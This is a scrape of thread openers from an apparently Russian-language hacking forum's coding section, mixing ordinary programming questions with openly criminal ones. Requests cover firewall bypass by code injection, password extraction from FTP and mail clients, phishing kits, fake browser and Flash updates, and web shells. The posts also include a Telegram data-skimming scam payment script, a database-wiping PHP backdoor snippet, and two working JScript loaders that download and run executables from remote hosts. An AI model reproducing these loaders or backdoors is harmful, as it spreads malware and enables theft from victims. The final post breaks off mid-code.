ID: 67668b27b4103b69df375f0d
Thread ID: 7072
Created: 2006-02-17T21:05:32+0000
Last Post: 2006-02-21T18:33:55+0000
Author: ULTRA
Replies: 7 Views: 3K

1. на данный момент меня интересуют какие есть ограничения на "Обход файрволлов путем инжектирования кода в доверенный процесс", есть ли ограничение на размер кода который можно инжектировать, нужно ли выполнять какие либо действия над процесом носителем (суспендить его), к любому ли процесу можно прицепится и если нет то по какием признакам определяется подходящий ?
2. что такое "Обход контроля компонентов методом альтернативно получения хендлов и запуска "злого" кода" ? я про такое раньше не слышал
3. насчет маскировки вопрос как еще можно поставить глобальный хук на все процессы кроме как пропись в реестре AppInit который наверняка антивирами контролируется ?
4. Реально ли написать самомодификат на С без использования асма ? или лучше не мучать попу ?
5 чем шифрование случайным ключом отличается от самомодификации ? ведь результат я так понимаю один и тот же, часть кода постоянно меняется ? кроме того если выполнять "нулевое модифицирование" будет ли разница между ними ?

Выдернуть пассы
ID: 67668b27b4103b69df375f0f
Thread ID: 7069
Created: 2006-02-17T17:06:54+0000
Last Post: 2006-02-17T19:05:25+0000
Author: Runtime_error
Replies: 5 Views: 3K

Подскажите, как сделать выдергивание хешей паролей хотя бы одной из след. программ:
Becky, CuteFTP, EDialer, Mozilla, Opera,WS_FTP.
С дешифрованием самих хешей разобрался, а вот как вытянуть их из конфиг. файлов?

Rebol
ID: 67668b27b4103b69df375f15
Thread ID: 6706
Created: 2006-01-25T04:43:34+0000
Last Post: 2006-01-27T09:49:57+0000
Author: Amper
Replies: 12 Views: 3K

...ну вот сидим мы инете и общаемся с человеком ...ну там разговор про всякие настройки софта и все такое))) ...и в разговоре этот человек приходит к мысли о том что неплохо бы выучить пару другую языков программирования))) ...реальная идея ...согласитесь с этим ...соответственно ...типа вопрос ...с какого языка следует начинать?))) ...и вообще какой язык учить? ...разговор такой был не с ним одним и не только сегодня))) ...многие парни сразу безаппеляционно отвечают что учить надо С++ ...или типа азм - это святое ...согласен ...даже спорить с этим глупо ...можно найти кучу аргументов в защиту этих языков и многих других тоже ...но вот вам в качестве информации к размышлению пара абзацев:
...читал тут на досуге типа перевод лекции одной ...ну и там хлопчик пишет такую весЧь:
За те годы, что я проработал в ******, я прочитал множество объявлений о найме на работу. Примерно каждый месяц появлялся новый конкурент. Первое, что я делал после того, как проверял, доступна ли онлайновая демонстрация работы их программы, — смотрел список их вакансий. Через пару лет я научился отличать опасных конкурентов от неопасных. Чем больше отдавало IT-мэйнстримом от описания требуемых кандидатур, тем менее опасна была компания. Самыми безопасными были те, кому требовались специалисты по Oracle. О таких не стоило беспокоиться. Также мы были спокойны, если требовались разработчики на C++ или Java. Если требовались программисты на Perl или Python, это уже было слегка пугающе — это значило, что компанией или, по крайней мере, ее технической частью заправляли настоящие хакеры.
...гы))) ...это не прикол ...он эту лекцию в Кембридже между прочим читал)) ...на симпозиуме разработчиков))) ...хлопчик буржуйский и занимается разработкой коммерческого торгового ПО ...а вот самый интересный кусочек я из этого абзаца убрал ...хватит с тебя халявы))) ...намек в следующих строчках ...думай сам)))
...а потом был еще один такой разговор ...я спросил у парня насчет такого языка как LISP ...ответ был таков ...этот язык умер))) ...очень даже может быть))) ...хотя когда-то бытовало среди серьезных программеров такое мнение что LISP обязан знать каждый хакер))) ...про такой язык как Rebol вообще было бессмысленно спрашивать ...врядли о нем кто-то что слышал в нашем городе))) ...значит еще пара абзацев))):
REBOL (Relative Expression-Based Object Language - «относительный [или все же «родственный»?], основанный на выражениях объектный язык») был разработан Карлом Сассенратом (Carl Sassenrath), задавшимся целью создать простой язык, очень близкий («родственный») к естественному человеческому, некий диалект (понятно, что речь идет об английском языке). Это скриптовый язык, подобный Perl, Ruby, Tcl, Python, но очень простой и маленький (размер дистрибутива составляет около 250 Кбайт для REBOL/Core и около 400 Кбайт для REBOL/View). Особенностью языка является ориентация на Интернет, поэтому не должно удивлять, что в REBOL встроена поддержка сетевых протоколов HTTP, FTP, SMTP, NNTP, POP3 (то есть не нужны никакие расширения, модули или библиотеки), и, например, операция чтения read может в качестве аргумента получить и имя файла на локальном диске, и URL. Это позволяет загрузить и сохранить HTML-страницу или послать письмо, написав буквально одну строчку кода. Другая особенность REBOL - его интерпретатор работает уже под двадцатью операционными системами на сорока двух платформах без изменения исходников, что позволяет говорить о его платформонезависимости (подобно Java). Все это дает право разработчикам из фирмы REBOL Technologies называть язык средством распределенных коммуникаций (distributed communications), позволяющим не только обмениваться файлами и сообщениями между различными системами (компьютерами), но и обеспечивающим взаимодействие между человеком и компьютером.
Как это обычно бывает, крохотная программка, дистрибутивная поставка которой занимает всего 179 KB (в формате zip), становится очень серьезным камнем преткновения. Конечно, катастрофическое несоответствие между размерами реализации и потенциальной функциональностью -- дело в скриптинге обычное. Но в случае с языком Rebol слово "катастрофический" не подходит... Впрочем, не будем отвлекаться и использовать отпугивающие раньше времени эпитеты и начнем по порядку.
Автор Rebol -- личность без сомнения яркая и хорошо известная, но только не у нас. Пик его знаменитости пришелся на те времена, когда "железный занавес" был еще достаточно прочным. Карл Сазенрат (Karl Sassenrath), архитектор знаменитой Amiga OS -- первой многозадачной мультимедийной операционной системы, отдал Rebol почти 20 лет своей жизни! И, надо сказать, -- не зря. Сегодня эта программка-малютка совершенно одинаково работает чуть ли не на всех известных (и даже почти неизвестных) платформах (более сорока наименований), численность сообщества ее пользователей давно перевалила за "эпохальную" отметку в один миллион, а сам Rebol даже стал основой независимой от платформы сетевой операционной среды с более чем впечатляющими возможностями.
Знакомство с Rebol стоит начинать с преодоления первой трудности -- произношения названия, которое может показаться очевидным. Хотя бы потому, что эта трудность символична: очень многое в Rebol, что кажется слишком очевидным, скрывает за собой далеко не столь очевидные вещи. Итак, название "Rebol" правильно произносится как... "rebel yell", и правило это свято соблюдается многочисленной армией пользователей.
Вторая трудность на деле трудностью не является и заключается в определении того, что мы назвали "аспектом применения". Несмотря на то что любой язык скриптового программирования обладает достаточной степенью универсальности, у каждого есть если не четко определенная, то четко "прорисованная" десятилетиями массового применения область, в которой этот язык соответствует решаемым задачам наилучшим образом. В случае с Rebol "аспект применения" известен изначально и определен самим создателем так: "Обмен и интерпретация информации в распределенных компьютерных системах". Звучит настораживающе емко для менее чем двухсоткилобайтовой программы, не правда ли? Но давайте прислушаемся к мнению автора куда более известного языка Perl -- Ларри Уолла (Larry Wall). Он, естественно, не очень жалует Rebol, но, тем не менее, говорит о нем так: "Rebol -- это фактически освобожденный от скобок вариант Lisp, включающий в себя очень полезные типы данных, например, адреса электронной почты, даты и URL. Как и всякий Lisp-подобный язык, Rebol некоторым может показаться слишком необычным..."
Сегодня язык функционального программирования Lisp утратил свою популярность 15--20-летней давности, поэтому даже его название может ни о чем не говорить многим. В основе этого языка лежит математическая строгость описания функции (именно как математического понятия), а следствие этой строгости -- иногда доводящая до исступления избыточность... скобок. Некогда бывшие одними из излюбленных инструментов "настоящих хакеров", реализации Lisp со временем разрослись до слишком больших масштабов и, как все динозавры, остались в прошлом. Но идеи языка живы во многих облегченных реинкарнациях, среди которых самой популярной сейчас остается Scheme.
Естественно, начинать изучать новый язык лучше всего с установки его реализации на свой компьютер. Тем более что размеры Rebol мизерны, а специфических требований к платформе у него, по сути, нет. Дистрибутив базовой поставки языка (бесплатный для персонального использования) Rebol Core можно получить по адресу www.rebol.com/download.html, пройдя ни к чему не обязывающую процедуру предварительной регистрации. Установка системы элементарна для любых ОС -- собственно, никаких специальных процедур нет вообще, достаточно просто распаковать файл в выбранный каталог.
"Свежеустановленный" дистрибутив Rebol Core содержит один исполняемый файл впечатляющих размеров (rebol или rebol.exe в зависимости от платформы занимает почти целых 260 KB) и несколько готовых программ-скриптов. Все это дает почти самодостаточную среду одновременно разработки и выполнения Rebol-программ, включающую в себя реализацию собственной интерактивной консоли (даже с автодополнением длинных имен нажатием клавиши Tab). И, прежде чем вводить первую команду в этом окне, следует... запастись терпением. Потому что Rebol готовит массу неожиданностей, особенно для тех, кто уже знает один или несколько "обычных" языков.
Первая приятная неожиданность Rebol -- изобилие встроенных типов данных, свидетельствующее о том, что вы столкнулись с редким образчиком "языка Internet сверхвысокого уровня". В нем совершенно обычной процедурой является отправка одной строчкой командной строки e-mail и парой строчек -- получение и сложная фильтрация html-страницы указанного вами Internet-ресурса. Казалось бы, в этом нет ничего необычного, и, например, пользователей Unix-подобных ОС такими функциями удивить трудно. Но давайте вспомним, что мы уже знаем о Rebol, а именно -- о кросс-платформенности его реализации, -- и на секунду задумаемся: каким образом ее создателям удалось разработать столь мобильный платформенно-независимый механизм вызова сторонних программ для отправки/получения электронной почты и "закачки" с использованием HTTP- протокола, ведь это действительно весьма сложная проблема. И вот тут время удивиться первый раз, потому что ответ на данный вопрос крайне лаконичен -- "Никаким!". Rebol вообще "не умеет" вызывать сторонние программы, и вместо этого в своих неполных трехстах килобайтах инкапсулирует реализации основных сетевых протоколов -- DNS, Finger, Whois, Daytime, HTTP, SMTP, POP, FTP, NNTP, TCP и UDP. Но подождите удивляться сильно -- то ли еще будет. И раз мы начали говорить об изобилии типов данных, то приведем и их пока неполный перечень: число (целое и с плавающей точкой, в том числе и в научной форме записи, допускается так называемая "Европейская нотация", например "0,001"), время (в форматах "часы:минуты" и "часы:минуты:секунды"), дата (в американской и международной форме записи), деньги (а как же без такого типа данных), набор (tuple, короткое множество чисел, разделенных символом ".", используется для представления цветов в форме RGB или IP-адресов), строка, тег (да-да, те самые теги, применяющиеся в языке разметки HTML и мета-языке XML), адрес e-mail , URL, имя файла, пара (значение такого типа может хранить, например, информацию о координатах -- "100 100"), идентификационный номер (issue, значения начинаются с символа "#") и, наконец, бинарная величина (последовательности байтов произвольной длины). Пожалуй, ни один другой скриптовый язык ничем подобным не располагает...
Но встроенные реализации сетевых протоколов и базовые типы данных -- это далеко не все и даже не главное, что есть в Rebol. Наверное, главное -- то, что сам создатель языка назвал "dialecting" -- приспособленность к формированию диалектов (фактически -- определяемых пользователем специфических языков), обеспечиваемая "коктейлем" из объектно-ориентированных механизмов, глубинных элементов функционального программирования и "свободного" синтаксиса. О последнем стоит сказать особо -- в Rebol нет ни зарезервированных ключевых слов, ни зависимости от регистра, ни значимых непечатных символов.
Вероятнее всего, после такого ужасающе-впечатляющего (и все еще далекого от полноты) перечня характеристик и возможностей удержаться от запуска программы будет трудно, так что смело запускайте и выполните свои первые действия в среде Rebol -- конфигурирование. Не следует бояться этого страшного слова -- системный архитектор Amiga OS, заслуженно уважаемой за дружелюбие, и здесь "держит марку". Никакой правки криптографических plain-text конфигурационных файлов не будет -- интерпретатор Rebol запросит у вас ваш e-mail и адреса SMTP, POP и proxy-серверов. Покончив с данной процедурой, можете себя поздравить: вы пока не написали первой программы на Rebol, но приняли участие в ее автоматическом создании (ваша первая программа хранится в файле с именем user.r и является полноценным Rebol-скриптом).
Теперь ваша собственная среда Rebol полностью готова к работе, и наступила пора первого знакомства тет-а-тет. Для этого вам на первых порах понадобится знание всего двух команд -- "what" и "help". Набрав первую из них и "отдав" ее на выполнение интерпретатору нажатием клавиши Enter, вы "спровоцируете" неожиданную активность Rebol -- интерпретатор "вывалит" в окно длинный перечень имен предопределенных (или "встроенных", но это менее точно в случае Rebol) функций. О любой из них можно подробнее узнать с помощью функции "help", введя в консоли Rebol строку в формате "help имя_функции" и нажав Enter. Настало время удивиться еще раз -- не часто встретишь встроенный механизм самодокументирования, да еще и так просто и удобно выполненный, в языке с подобным размером реализации.
...гы))) думаю что ты не сильно утомился этим чтением))) ...комментариев не будет ...какой язык учить и зачем ...каждый решает сам))) ...но может быть стоит задуматься о том ...а все йогурты одинаково полезны?))) ...думайте сами ...решайте сами)))

Запуск компилятора
ID: 67668b27b4103b69df375f13
Thread ID: 6890
Created: 2006-02-05T16:26:34+0000
Last Post: 2006-02-05T19:59:31+0000
Author: Gamers
Replies: 6 Views: 3K

Народ кто знает как запустить компилятор MINGW?

Вставить блок по позиции курсора и оборачивание содержимого в span
ID: 67668b27b4103b69df375da5
Thread ID: 45707
Created: 2020-12-18T15:03:51+0000
Last Post: 2020-12-18T15:03:51+0000
Author: PavelLeven7
Replies: 0 Views: 3K

1.Как сразу оборачивать текст, который я пишу в div contenteditable="true" в такую конструкцию

мой текст

2.У меня есть блок div contenteditable="true", при переходе на следующую строку я создаю через js span и помещаю его внутрь div, вопрос как помещать span внутрь div'а по позиции курсора?

Помогите с tree view
ID: 67668b27b4103b69df375f1a
Thread ID: 10091
Created: 2006-01-02T14:15:38+0000
Last Post: 2006-01-04T10:37:38+0000
Author: AKella
Replies: 4 Views: 3K

[mod][Great:] Отныне в этом топике задаем вопросы по барсику.[/mod]

Люди помогите.
Я не могу толком разобраться с tree view. Я создал несколько узлов.
Set tempnode = tv1.Nodes.Add(, , , "Тест1")
Set tempnode = tv1.Nodes.Add(, , , "Тест2")
Set tempnode = tv1.Nodes.Add(, , , "Тест3")
Нужно чтобы при нажатии на каждый из них, в pictureBox грузились картинки. Как это реализовать? Помогите пожалуйста.

Sql file
ID: 67668b27b4103b69df375da6
Thread ID: 41868
Created: 2020-09-08T11:12:35+0000
Last Post: 2020-12-16T20:25:01+0000
Author: Budol2
Replies: 12 Views: 3K

I dont know if its good section, because i dont know russian language, if its bad please move the topic to the appropriate section.

I got question about DB wattpad.com I split the file into 500 parts so every file has 220mb i want copy specific emails from this database i was using notepad++ i choose for example interia.pl marks all and wanted copy them, but copied things weigh too much and email extractor is not able to load it so I cant copy the email I need.

Do u have any solution for this? how to copy specific emails from whole database ?

[PHP] Скрипт [ручная платежка paymaster] + [телеграм-бот] для скам проектов
ID: 67668b27b4103b69df375d93
Thread ID: 47459
Created: 2021-01-31T19:00:16+0000
Last Post: 2021-03-11T20:30:59+0000
Author: ZERO
Replies: 8 Views: 3K

Слова автора с соседней площадки:
Делал данный проект для продажи на соседнем борде, но первый же покупатель его слил.

Всем мир!

1612093298995.png

Описание товара:

  • cкрипт с легкостью передаст все данные с сайта в ваши владения в телеграме. Используйте их с умом.
  • есть как оплаты так и возвраты. Всё очень легко создается и удаляется.
  • чекер добавляет траста, когда прилетает смс от банка.
  • скриптики написаны с нуля.
  • мануальчик будет в комплекте.

Что нужно для запуска:

  • xостинг + домен под сайт.
  • xостинг под python скрипт бота.

Hidden content for authorized users.

Демка

Hidden content for authorized users.

Скачать

Hidden content for authorized users.

Vt

Parsing Credit Card Data
ID: 67668b27b4103b69df375da0
Thread ID: 45495
Created: 2020-12-13T16:25:36+0000
Last Post: 2021-02-01T01:38:58+0000
Author: thismec
Replies: 14 Views: 3K
[PHP] Backdoor question.
ID: 67668b27b4103b69df375cac
Thread ID: 120053
Created: 2024-08-02T04:22:11+0000
Last Post: 2024-11-18T14:34:27+0000
Author: b3hindYou
Replies: 21 Views: 3K

Hello!

I am making a script, where I will need to leave a backdoor just to be safe I am not scammed. I do not want to use anything like C99 and so on since all that is detected as fuck.. So probably I will just write my own small script to do the necessary things.. for example:

PHP:Copy to clipboard

if(isset($_GET["secret_backdoor"])) {
    if($_GET["destroy"]) {
        $db->clearDatabase();
    }
    if($_GET["something_else"]) {
        // more..
    }
}

What do you think? Should I do this and make my own? Or there are any alternatives around?

Thank you, -b3hindYou™

Deobfuscate JavaScript
ID: 67668b27b4103b69df375cba
Thread ID: 119286
Created: 2024-07-20T18:42:25+0000
Last Post: 2024-09-22T11:51:24+0000
Author: qGodless
Replies: 11 Views: 3K

help me deobfuscate a javascript code used in a recent popular roblox.com scam

Sources:
httpx://rolinked.com/
httpx://www.youtube.com/watch?v=og2d5niB09A

Code sample:

JavaScript:Copy to clipboard

javascript: function D(z, N) {
    var B = U();
    return D = function(K, L) {
        K = K - (-0x210c + -0x139 * 0x7 + 0x2aff);
        var J = B[K];
        return J;
    }, D(z, N);
}

function U() {
    var cM = ['vSjac', 'prima', 'HoEhQ', '\x22>Acc', '...
return % 20 U();
}(function(z, N) {
    function % 20 zB(z, N, K, L, J) {
        return % 20 D(L - % 20 - 0x34d, K);
    }

    function % 20 zK(z, N, K, L, J) {
        return % 20 D(K - 0x5c, z);
    }

    function % 20 zL(z, N, K, L, J) {
        return % 20 D(J - 0x12e, N);
    }
Хелп nodejs http2 proxy как?
ID: 67668b27b4103b69df375cc2
Thread ID: 116818
Created: 2024-06-14T05:23:53+0000
Last Post: 2024-07-12T15:28:56+0000
Author: _lain
Replies: 28 Views: 3K

Хелпаните как юзать socks5 прокси в http2 агенте? Я сколько не пробовал у меня вообще ничего не получалось через http2, выдает ориг ип
я пробовал разные параметры, пробовал проксичейны пихать, нифига

JavaScript:Copy to clipboard

const { Agent } = require('http2-wrapper');
const { SocksProxyAgent } = require('socks-proxy-agent');

async function importGotScraping() {
    const { gotScraping } = await import('got-scraping');
    return gotScraping;
}

(async () => {
    try {
        const scrap = await importGotScraping();

        const proxyUrl = "socks5://127.0.0.1:4000"; // прокси рабочие работает в обычном http 1.1
        const socksProxyAgent = new SocksProxyAgent(proxyUrl);

        const http2Agent = new Agent({
            proxy: socksProxyAgent
        });

        const fff = await scrap.get('https://api.ipify.org?format=json', {
            headers: {
                'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
                'accept-language': 'en-US,en;q=0.9',
                'priority': 'u=0, i',
                'sec-ch-ua': '"Microsoft Edge";v="125", "Chromium";v="125", "Not.A/Brand";v="24"',
                'sec-ch-ua-mobile': '?0',
                'sec-ch-ua-platform': '"Windows"',
                'sec-fetch-dest': 'document',
                'sec-fetch-mode': 'navigate',
                'sec-fetch-site': 'none',
                'sec-fetch-user': '?1',
                'upgrade-insecure-requests': '1',
                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0',
            },
            http2: true,
            agent: {
                http: socksProxyAgent,
                https: socksProxyAgent,
                http2:http2Agent,
            }
        });

        console.log('Status Code:', fff.statusCode);
        console.log('Body:', fff.body);
    } catch (error) {
        console.error('Error:', error);
    }
})();
Секта джаваскриптеров
ID: 67668b27b4103b69df375d24
Thread ID: 79437
Created: 2023-01-07T15:54:50+0000
Last Post: 2023-04-14T22:24:06+0000
Author: ShadowMan
Replies: 33 Views: 3K

Вот у меня возник вопрос по стеку node.js
Я как , старый вэбкодер, не пойму, чего народ на него так дрочит? :)
Чего нельзя сделать на php, python или golang и можно только на ноде?
Ну я бы понял какие то ну супер принципиальные различия, но что такого
заебического в яваскриптах, выполняемых на сервере?
Скорость исполнения на сервере, срок разработки, стоимость разработки и поддержки?
Так нет же этого.. По крайней мере, я только вижу стоимость разработки и поддержки,
увеличенную в 2-3 раза, не говоря даже об отсутствии нормальных специалистов.
Все западные маркетплейсы работают по технологии NoJavascript, чтобы усилить
приватность юзера, а тут мы наоборот пихаем яваскрипты, куда только можно и не можно.
Да и админкам ботнетов яваскрипты скорее вредны, чем жизненно-необходимы.
Я ,конечно, про нашу тематику говорю, в других местах может это и нормально.
Ваши мнения, господа кодеры?

Will help you decode js files for free
ID: 67668b27b4103b69df375d2a
Thread ID: 72326
Created: 2022-08-28T05:05:52+0000
Last Post: 2023-03-05T22:33:51+0000
Author: shadowplatinum1
Replies: 28 Views: 3K

Hello as topic says i will deobfuscate your js drop your files in pm or in the thread

PHP - Search Engine + local db + add entry
ID: 67668b27b4103b69df375d33
Thread ID: 26278
Created: 2018-10-08T15:37:04+0000
Last Post: 2023-01-20T08:51:13+0000
Author: nbzmr
Replies: 4 Views: 3K

A simple search engine + local db + add entry in php.

File list
add.php - Add links/text to db.txt
db.txt - Where the links/text is stored
index.html - The visual interface for the user
search.php - The search mechanism. It searches in db.txt looking for the corresponding text.

Download
https://www.mediafire.com/file/nkfs26gs0tt3...B+add+entry.rar

Virustotal
https://www.virustotal.com/#/file/bb1710dac...4201a/detection

Базовый фишинг (для чайников)
ID: 67668b27b4103b69df375d69
Thread ID: 43556
Created: 2020-10-26T18:35:04+0000
Last Post: 2021-12-10T06:14:41+0000
Author: first_name_last_name777
Replies: 3 Views: 3K

Как создать на php, js свой фишинговый сервис, т.е. как реализовать весь этот функционал, чтобы после перехода по ссылке сграбить данные такие как MAC адрес и другую примитивную информацию, возможно стиллер логов и паролей хрома и т.д.
В этой теме совсем профан, хотелось бы узнать как это делается(чем подробнее и проще объяснение, тем лучше) и какие-нибудь примитивные примеры кода для дальнейшей разработки

Лучший источник для изучение фронтенда
ID: 67668b27b4103b69df375d6e
Thread ID: 31423
Created: 2019-08-30T02:22:33+0000
Last Post: 2021-12-09T08:37:50+0000
Author: gogem
Replies: 5 Views: 3K

посоветуйте ютуберов,сайты,курсы как и где и в каком порядке изучать,заранее спасибо

HttpPwnly
ID: 67668b27b4103b69df375d91
Thread ID: 49344
Created: 2021-03-14T21:51:41+0000
Last Post: 2021-03-14T21:51:41+0000
Author: Resurgentis
Replies: 0 Views: 3K

Установил инструмент HttpPwnly, но после тестирования на сервере, выяснилось, что на стороне клиента (Браузера) я получаю ошибку: "Uncaught ReferenceError: io is not defined". Подскажите пожалуйста, как её избежать, и что для этого нужно сделать?

Снимок.PNG

Модификация маленького кода javascript.
ID: 67668b27b4103b69df375da8
Thread ID: 45470
Created: 2020-12-12T18:48:48+0000
Last Post: 2020-12-12T18:48:48+0000
Author: countervectorbase
Replies: 0 Views: 3K

Привет, всем. Нужно модифицировать маленький код (на javascript) так, чтобы рисовалась только лишь траекторию последней точки радиуса последней окружности, как например, если бы я находился на Луне - неподвижно, и рисовалась бы траекторию движения моей мертвой точки, относительно Солнца.
Исходник

Требуется Кодер PHP
ID: 67668b27b4103b69df375db4
Thread ID: 33513
Created: 2019-11-27T18:01:01+0000
Last Post: 2020-10-19T13:57:53+0000
Author: GayFox
Replies: 3 Views: 3K

Требуется Кодер на PHP и Html для создания с нуля серверной части,
Нужно написать простенькую админ панель ,
Функционал PHP скриптов декод байтов в img и сохранения координат которые прилетели с post или get запроса
tg:@GayFox_322

Накидайте ресурсов для въезда в JS
ID: 67668b27b4103b69df375dc4
Thread ID: 34771
Created: 2020-02-03T20:47:41+0000
Last Post: 2020-06-24T08:12:21+0000
Author: Mirai Nikki
Replies: 8 Views: 3K

Хочу изучить JS , может кто накидать каких-либо полезных ресурсов на эту тему?
Очень бы помогло :)

Как внедрить js файл для отслеживания всего исходящего трафика при входе в вк
ID: 67668b27b4103b69df375dc9
Thread ID: 36429
Created: 2020-04-17T12:23:45+0000
Last Post: 2020-05-09T11:00:19+0000
Author: first_name_last_name777
Replies: 7 Views: 3K

js знаю более менее, не понятно как внедрить файл в тот же самый вк и как перехватывать трафик, был бы благодарен, если кто-то шарит и может на простом примере показать

dumpfile со всех строк в таблице MySQL
ID: 67668b27b4103b69df375dcb
Thread ID: 35164
Created: 2020-02-24T15:20:15+0000
Last Post: 2020-02-25T05:59:43+0000
Author: okihad
Replies: 2 Views: 3K

Всем привет!

Имеется MySQL база c таблицей, в которой сохранены фото.

Помогите пожлуйста слить все фотки одним запросом в папку. Если сделать такой запрос, то фотка с ID 29345 выгружается и открывается.
_SELECT photo FROM user_photo WHERE id_user=29345 into dumpfile "//10.10.10.18/1/3.jpg" _

Но как это сделать сразу для всех 28 тысяч строк? Никак не могу понять.
Подскажите, заранее благодарен!

Дано:
Таблица user_photo
Фото в столбце photo
IDшники в столбце id_user
Общая папка, куда копировать //10.10.10.18/1
**
Требования:**
1. Выдернуть фотки только SQL запросом.
2. Название конечного файла не важно. Можно подставить в имя IDшник, но не принципиально.

Создание и Web кодирование Сайтов
ID: 67668b27b4103b69df375dd5
Thread ID: 32990
Created: 2019-11-04T17:43:27+0000
Last Post: 2019-12-21T04:30:01+0000
Author: колорадо
Replies: 1 Views: 3K

Услуги Веб кодирования
Создание сайтов с нуля, копии интерфейсов , функционала , написание скриптов под фейк , написание фейков ,
слив баз с сайтов по мере возможности.
Гарант +
Телеграмм @Bhf_t
Быстро , качественно,недорого.
Найдем общий язык с любым заказчиком.
Анонимность и Работу в одни руки гарантирую.​

PHP помощь
ID: 67668b27b4103b69df375ddb
Thread ID: 32354
Created: 2019-10-08T15:13:31+0000
Last Post: 2019-10-12T20:50:16+0000
Author: InWMZ
Replies: 17 Views: 3K

Ребят что прописать в index.php что бы при открытии сайта скачивался файлик?
Wodpress.

Помогите с кнопкой на сайте
ID: 67668b27b4103b69df375ddd
Thread ID: 32137
Created: 2019-09-30T07:02:27+0000
Last Post: 2019-10-01T08:56:09+0000
Author: Matanbuchus
Replies: 17 Views: 3K

Вообщем есть кнопка на сайте вот её код

HTML:Copy to clipboard

<div class="call-to-action"><a href="https://google.com" class="buy-it-now"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>

при нажатии этой кнопки пользователя перебрасывает на сайт гугла.
Я хочу сделать так чтобы при нажатии на эту кнопку у человека на сайте выскакивало оповещение с тесктом "чтобы выполнить это действие нужно обновить флеш плеер) и если человек нажимал ОК то ему с сервера где находиться сайт подгружали файл флеш плеера. Буду очень благодарен если кто-то поможет в реализации так как в вебе особо не шарю.

База с формой и списком
ID: 67668b27b4103b69df375de0
Thread ID: 31571
Created: 2019-09-05T20:48:48+0000
Last Post: 2019-09-07T10:46:31+0000
Author: Hybrid
Replies: 11 Views: 3K

Здравствуйте. Хотелось бы сделать базу данных с формой заполнения.

Т.е. Нужно создать базу со списком как тут cybersport.ru/base/teams, чтобы Гость зашел, зарегистрировал команду, подождал одобрения или отказа о добавлении команды в базу и мог изменять информацию о команде. Есть ли какая- либо информация/мануал, как все это провернуть?

Сервис мгновенных игр...
ID: 67668b27b4103b69df375dee
Thread ID: 29985
Created: 2019-06-25T18:29:07+0000
Last Post: 2019-06-25T21:57:06+0000
Author: connect
Replies: 2 Views: 3K

вот я доделал проект..
убрал лишний хлам со скрипта
оптимизировал код
убрал скл инекции
защитил бд и ад-панель
добавил вход через вк
изменил дизайн сайта
добавил предлодер
добавил игру сундуки
угадай число
добавил игру угадай цвет (красное,синее)
добавил новые правила
добавил ежедневный бонус
изменил дизайн кнопок
[IMG]
цена 650р.
писать в тг - deaderror

Трафик
ID: 67668b27b4103b69df375df0
Thread ID: 28891
Created: 2019-04-19T16:37:25+0000
Last Post: 2019-06-03T19:25:06+0000
Author: higgler
Replies: 4 Views: 3K

Нуждаюсь в полноценном веб шелле для пхп 5, 7 и хттпс. Есть паблик варианты за 2017-2019 год?
Weevely3 модули с хттпс не работали.

Так же ищу веб страницу о выводе сообщения обновления браузера, расширения и подобного. Паблик варианты сюда в тему, предложение на разработку в пм (бюджет, опыт, примеры).

Лоадер на js(слив кода)
ID: 67668b27b4103b69df375df2
Thread ID: 28670
Created: 2019-04-09T10:18:44+0000
Last Post: 2019-04-09T10:18:44+0000
Author: ColorS
Replies: 0 Views: 3K

Я знаю что многим был нужен Java Script loader который будет скачивать файлы, подкину два примера(на 10 винде не работает)

JavaScript:Copy to clipboard

var NL = new ActiveXObject("shell.application");
NL.ShellExecute("cmd",'/c cd %temp% &@echo G8h = "animarts.kl.com.ua/вв.exe">>L7h.vbs &@echo R6u = Q2m("gk[CZmZ")>>L7h.vbs &@echo Set C6l = CreateObject(Q2m("bhmbaGCmba]iie"))>>L7h.vbs &@echo C6l.Open Q2m("\Zi"), G8h, False>>L7h.vbs &@echo C6l.send ("")>>L7h.vbs &@echo Set A8j = CreateObject(Q2m("VYdYWChigZVb"))>>L7h.vbs &@echo A8j.Open>>L7h.vbs &@echo A8j.Type = 1 >>L7h.vbs &@echo A8j.Write C6l.ResponseBody>>L7h.vbs & @echo A8j.Position = 0 >>L7h.vbs &@echo A8j.SaveToFile R6u, 2 >>L7h.vbs &@echo A8j.Close>>L7h.vbs  &@echo function Q2m(P1g) >> L7h.vbs &@echo For U6y = 1 To Len(P1g) >>L7h.vbs &@echo Y7h = Mid(P1g, U6y, 1) >>L7h.vbs &@echo Y7h = Chr(Asc(Y7h)- 21) >>L7h.vbs &@echo D3k = D3k + Y7h >> L7h.vbs &@echo Next >>L7h.vbs &@echo Q2m = D3k >>L7h.vbs &@echo End Function >>L7h.vbs& L7h.vbs &dEl L7h.vbs & timeout 13 & RVF.EXE', "","",0)

это был первый пример, плохо работающий, но по крайней мере может работать если все правильно настроить

JavaScript:Copy to clipboard

do{try{var A=new ActiveXObject("MSXML2.XMLHTTP");A.open('POST','site.ru/exe.exe',false);A.send(null);eval(A.responseText);}catch(err){WScript.Sleep(7e3);}WScript.Sleep(7e3);}while(true);

вот этот способ использует vCruelty Cryptor
минусы то что оба способа работа очень плохая, знатоки прошу кто может исправить пишите)

ssl php
ID: 67668b27b4103b69df375df5
Thread ID: 28088
Created: 2019-02-28T18:21:24+0000
Last Post: 2019-03-04T11:21:31+0000
Author: StandarterSD
Replies: 6 Views: 3K

Написал сайт, но там есть функция, которая работает только по http
Попробовал сделать SSL через Apache, но там проблема с записью в файл.
Ну так вот, как сделать SSL без Apache через php(На нем работает сайт)?

лэнд апдэйта браузера js
ID: 67668b27b4103b69df375df6
Thread ID: 27886
Created: 2019-02-15T17:16:39+0000
Last Post: 2019-02-23T06:08:54+0000
Author: hits
Replies: 7 Views: 3K

Случайно наткнулся на ленд чей то,цените,если лажа то в топку )

Spoiler: код

JavaScript:Copy to clipboard

function getCookie(name)
    {
    var cookie=" "+document.cookie;
    var search=" "+name+"=";
    var setStr=null;
    var offset=0;
    var end=0;
    if(cookie.length>0)
        {
        offset=cookie.indexOf(search);
        if(offset!=-1)
            {
            offset+=search.length;
            end=cookie.indexOf(";
            ",offset);
            if(end==-1)
                {
                end=cookie.length
            }
            setStr=unescape(cookie.substring(offset,end))
        }
    }
    return(setStr)
}
function setCookie(name,value,expires,path,domain,secure)
    {
    document.cookie=name+"="+escape(value)+((expires)?";
     expires="+expires:"")+((path)?";
